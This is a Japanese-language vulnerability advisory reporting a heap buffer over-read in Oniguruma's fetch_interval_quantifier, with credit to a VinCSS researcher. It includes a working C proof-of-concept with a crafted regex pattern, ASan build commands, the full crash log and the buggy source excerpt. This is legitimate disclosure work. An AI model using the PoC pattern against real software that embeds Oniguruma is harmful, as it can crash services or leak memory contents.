Oniguruma 6.x (6.9.4_rc2 より前) に問題が発見されました。regparse.c の fetch_interval_quantifier (旧称 fetch_range_quantifier) 関数において、PEND をチェックせずに PFETCH が呼び出されています。これにより、ヒープベースのバッファオーバーリードが発生します。 研究者: ManhND of The Tarantula Team, VinCSS (a member of Vingroup)
K. Kosako による Oniguruma は、BSD ライセンスの正規表現ライブラリで、さまざまな文字エンコーディングをサポートしています。Ruby プログラミング言語 (バージョン 1.9) や PHP のマルチバイト文字列モジュール (PHP5 以降) は、Oniguruma を正規表現エンジンとして使用しています。また、Atom、GyazMail、Take Command Console、Tera Term、TextMate、Sublime Text、SubEthaEdit などの製品でも使用されています。
ソースコード:
#include <stdlib.h>
#include <string.h>
#include "oniguruma.h"
int main(int argc, char* argv[])
{
int r;
regex_t* reg;
OnigErrorInfo einfo;
char *pattern = (char*)malloc(6);
memcpy(pattern, "_\\{21\\", 6);
char *pattern_end = pattern + 6;
OnigEncodingType *enc = ONIG_ENCODING_ASCII;
onig_initialize(&enc, 1);
r = onig_new(®, (unsigned char *)pattern, (unsigned char *)pattern_end,
ONIG_OPTION_NONE, enc, ONIG_SYNTAX_GREP, &einfo);
if (r == ONIG_NORMAL) {
onig_free(reg);
}
onig_end();
return 0;
}
Oniguruma と PoC のコンパイル:
./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make -j4
gcc -fsanitize=address -O0 -I./oniguruma-gcc-asan/src -ggdb3 poc-fetch_interval_quantifier-2-PFETCH.c ./oniguruma-gcc-asan/src/.libs/libonig.a -o PoC
クラッシュログ:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC
=================================================================
==6418==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eff6 at pc 0x00000044cb35 bp 0x7ffde176e0e0 sp 0x7ffde176e0d0
READ of size 1 at 0x60200000eff6 thread T0
#0 0x44cb34 in onigenc_single_byte_mbc_to_code /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regenc.c:704
#1 0x4683a0 in fetch_interval_quantifier /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:4182
#2 0x46e79a in fetch_token /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:5009
#3 0x481e9f in parse_exp /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:7974
#4 0x483de7 in parse_branch /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8303
#5 0x48431b in parse_alts /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8354
#6 0x484808 in parse_regexp /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8413
#7 0x484db1 in onig_parse_tree /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8468
#8 0x423c6b in onig_compile /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regcomp.c:6694
#9 0x424e53 in onig_new /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regcomp.c:6964
#10 0x401265 in main /root/fuzz/fuzz_oniguruma/poc-fetch_interval_quantifier-2-PFETCH.c:27
#11 0x7f18b06ad82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#12 0x401048 in _start (/root/fuzz/fuzz_oniguruma/PoC+0x401048)
0x60200000eff6 is located 0 bytes to the right of 6-byte region [0x60200000eff0,0x60200000eff6)
allocated by thread T0 here:
#0 0x7f18b0aef602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x4011e2 in main /root/fuzz/fuzz_oniguruma/poc-fetch_interval_quantifier-2-PFETCH.c:17
#2 0x7f18b06ad82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regenc.c:704 onigenc_single_byte_mbc_to_code
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa 04 fa fa fa 00 00 fa fa 00 04 fa fa 00 00
0x0c047fff9dd0: fa fa 06 fa fa fa 00 00 fa fa 06 fa fa fa 00 00
0x0c047fff9de0: fa fa 04 fa fa fa 00 00 fa fa 00 01 fa fa 00 00
=>0x0c047fff9df0: fa fa 00 00 fa fa 05 fa fa fa 00 00 fa fa[06]fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==6418==ABORTING
参照ソースコードバージョン: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4 regparse.c:4182 の fetch_interval_quantifier で、PEND をチェックせずに PFETCH が呼び出されています。
if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) {
if (c != MC_ESC(env->syntax)) goto invalid;
PFETCH(c);
}
これにより、ヒープバッファオーバーフローが発生します。